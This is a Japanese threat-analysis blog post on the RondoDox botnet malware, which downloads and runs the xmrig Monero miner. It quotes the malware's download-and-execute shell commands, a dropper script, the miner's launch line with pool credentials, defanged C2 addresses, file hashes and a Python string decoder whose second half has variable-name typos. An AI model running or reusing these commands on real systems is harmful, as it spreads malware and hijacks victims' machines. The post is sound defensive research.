

暗号通貨のマイニングをするRondoDox -

 blog.nicter.jp/2026/01/rondodox_2026_1g

CSRI解析チーム

January 13, 2026

2025年第3四半期にNICTERで観測されたRondoDoxの最新の動向を報告します。

マルウェアの更新

RondoDoxのC2通信仕様では、C2サーバから送ったシェルコマンドをマルウェアに実行させることが可能で、このコマンドによりマルウェアの更新が行われます。

```
.sys (wget -qO- hxxp://41[.]231[.]37[.]153/rondo.u.sh?a=arg1||busybox wget -qO-  
hxxp://41[.]231[.]37[.]153/rondo.u.sh?a=arg1||curl -s hxxp://41[.]231[.]37[.]153  
/rondo.u.sh?a=arg1||good -qO- hxxp://41[.]231[.]37[.]153/rondo.u.sh?a=arg1) |sh
```

図1. マルウェア更新のシェルコマンド

このシェルコマンドの中で使われているarg1という文字列は、マルウェアが最初に起動されたときに設定された引数に置き換えられ、実行すると以下のようなマルウェアのダウンロードと実行を行うコマンドを含む、シェルスクリプトファイルがダウンロードされます。

```
wget -O .uevlucan hxxp://41[.]231[.]37[.]153/rondo.mips||curl -o .uevlucan hxxp://41[.]231  
[.]37[.]153/rondo.mips||busybox wget -O .uevlucan hxxp://41[.]231[.]37[.]153/rondo.mips  
cat .uevlucan > rondo||busybox cat .uevlucan > rondo||mv .uevlucan rondo||busybox mv .  
uevlucan rondo||cp .uevlucan rondo||busybox cp .uevlucan rondo  
rm -f .uevlucan  
chmod 777 rondo||busybox chmod 777 rondo  
sudo ./rondo "react.mips" && exit  
./rondo "react.mips" && exit
```

図2. シェルスクリプト抜粋

このシェルスクリプトに含まれるダウンロードファイルは複数あり、それぞれのCPUアーキテクチャに対応していると推測されます。

```
rondo.mips  
rondo.mipsel  
rondo.x86_64  
rondo.armv6l  
rondo.armv5l  
rondo.armv4l  
rondo.armv7l  
rondo.powerpc  
rondo.powerpc-440fp  
rondo.i686  
rondo.i586  
rondo.i486  
rondo.arc700  
rondo.sh4  
rondo.sparc  
rondo.m68k  
rondo.armeb  
rondo.armebhf
```

尚、このダウンロードサーバ`41[.]231[.]37[.]153`はフィルタリングを行っているようで、マルウェアによるアクセスでないと判定された場合、動画を背景としたHTMLページが表示されます。そのページには「Download」ボタンがありますが、クリックすると動画音声のミュートが解除されるようです。

```
function handleClick() {  
    video.muted = false;  
  
    const buttonContainer = document.getElementById("buttonContainer");  
    if (buttonContainer) buttonContainer.remove();  
    document.removeEventListener("click", handleClick);  
}
```

図3. クリックハンドラ

文字列の難読化

最新のマルウェアでは、当初使われていた単純な`0x21`によるXORをやめ、複雑な暗号化を行うようになりました。以下はデコードするPythonスクリプトです。

```

#!/usr/bin/python3
# rddec.py
# $ ./rddec.py 5e966b9b9800
# rondo\x00
import sys
def decode_str(bencstr):
    key64 =
bytearray.fromhex('defcb6e7deaaaaea4f0acfff6d7eadad8cfe4a1afaacbbea9fffaaba8dec6a7abdad0c5
d6d8b7d7e4fac3ced5e8cbc6d9d8e4faa2efabacaadea5a9f7f5cfc8d0')
    key32 =
bytearray.fromhex('a7e1bbb7b8c8fab8e1f9d1a5d6f9baa6adb5f5d1a7b5b7c1afc3abcca6a2e5e3')
    istrlen = len(bencstr) - 1
    encstr=[]
    for i in range(istrlen+1):
        if i == istrlen:
            encstr.append(bencstr[i])
            continue
        if i&1 == 0:
            encstr.append((bencstr[i]-5)&0xff)
        else:
            encstr.append((bencstr[i]+5)&0xff)
    deckey64 = []
    for i in range(64):
        deckey64.append((key64[i]^0x9d)&0xff)
    deckey64[0] = 0x43
    deckey32 = []
    for i in range(32):
        deckey32.append((key32[i]^0x91)&0xff)
    deckey32[0] = 0x36
    for i in range(istrlen):
        j = i%len(deckey64)
        encstr[i] = (encstr[i] ^ deckey64[j])&0xff
    for i in range(istrlen):
        encstr[i] = ((encstr[i]>>3) | (encstr[i]<<5))&0xff
    halflen = istrlen >> 1
    if halflen != 0:
        hindex = istrlen - 1
        lindex = 0
        while True:
            tmp = encstr[lindex]
            encstr[lindex] = encstr[hindex]
            encstr[hindex] = tmp
            lindex += 1
            hindex -= 1
            if lindex == halflen:
                break
    hhalflen = istrlen >> 2
    if hhalflen != 0:
        hindex = halflen - 1
        lindex = 0
        while True:
            tmp = encstr[lindex]

```

```

        encstr[lindex] = encstr[hindex]
        encstr[hindex] = tmp
        lindex += 1
        hindex -= 1
        if lindex == hhalfllen:
            break
    for i in range(istrllen):
        j = i%len(deckey32)
        encstr[i] = (encstr[i] ^ deckey32[j])&0xff
    for i in range(istrllen):
        encstr[i] = (encstr[i] - 9)&0xff
    index1 = 0
    while True:
        tmp1 = encstr[index1]
        if 0x19 < (tmp1 - 0x61)&0xff:
            if 0x19 < (tmp1 - 0x41)&0xff:
                if (tmp1 - 0x30)&0xff < 10:
                    encstr[index1] = (tmp1 - 0x2b)%10 + 0x30
            else:
                encstr[index1] = (tmp1 - 0x34)%0x1a + 0x41
        else:
            encstr[index1] = (tmp1 - 0x54)%0x1a + 0x61
        index1 += 1
        if index1 >= istrllen:
            break
    for i in range(istrllen):
        encstr[i] = (encstr[i] + 1)&0xff
    return encstr
bencstr = bytearray.fromhex(sys.argv[1])
ret = decode_str(bencstr)
for b in ret:
    if b>=0x21 and b<=0x7e:
        print(f'{b:c}',end='')
    else:
        print('\x',end='')
        print(f'{b:02x}',end='')
print('')

```

暗号通貨Moneroのマイニング

RondoDoxは、起動するとまず以下のようなHTTPリクエストにより、ダウンロードサーバから **softirq** というELFファイルを取得し、別プロセスで起動します。

```

GET /softirq.x86_64 HTTP/1.1
Host: 41[.]231[.]37[.]153
Connection: close
User-Agent: rondo

```

この**softirq**の実体は**xmrig**というオープンソースの暗号通貨マイニングツールです。

```
libuv/1.51.0
OpenSSL/3.0.16
hwloc/2.12.1
```

```
softirq -o 45[.]94[.]31[.]89:443 -u react -p 3cthDe05 --tls --randomx-1gb-pages -B
```

```
{
  "jsonrpc": "2.0",
  "id": 1,
  "error": null,
  "result": {
    "id": "0000000000000000000000000000000000000000000000000000000000000000",
    "job": {
      "blob": "0000000000000000000000000000000000000000000000000000000000000000",
      "job_id": "0000000000000000000000000000000000000000000000000000000000000000",
      "target": "0000000000000000000000000000000000000000000000000000000000000000",
      "algo": "rx/0",
      "height": 0
    },
    "seed_hash": "0000000000000000000000000000000000000000000000000000000000000000",
    "extensions": [
      "algo",
      "nicehash",
      "connect",
      "tls",
      "keepalive"
    ],
    "status": "OK"
  }
}
```

図4. xmrigサーバ応答

C2サーバ

45[.]94[.]31[.]89:8443
45[.]125[.]66[.]100:8443

45[.]94[.]31[.]89:443

```
0a844c3added16ba55fc0db88afb9d87d9982f83471c954fc9f54d5b46d558b6 rondo.x86_64
d954df447abfeafc899580d9d985863b7045029c1c64fa7982857aebde535b0f rondo.armv7l
17f7ae49f8e81015b4ad26357507a65afc167c3d64e057ef68dc45b30ad51c3c rondo.i686
826fbd4b636f2b35253de1ec7bf904a561cf0616eeaaed0022ab4937299622f6 rondo.mipsel
```

```
0c748b9e8bc6b5b4fe989df67655f3301d28ef81617b9cbe8e0f6a19d4f9b657 softirq.x86_64
4b2afad3a4d1d0eb8a2b7c7773ff0631e34fbfcfb2bea6d7e66339b301a26912 softirq.aarch64
5aca8f8372378483a5f18b884d2f5ee15a6110c08176816b8a9d9cf3e1a635cd softirq.i686
```

5/6

- [← Next](#)
- [Previous →](#)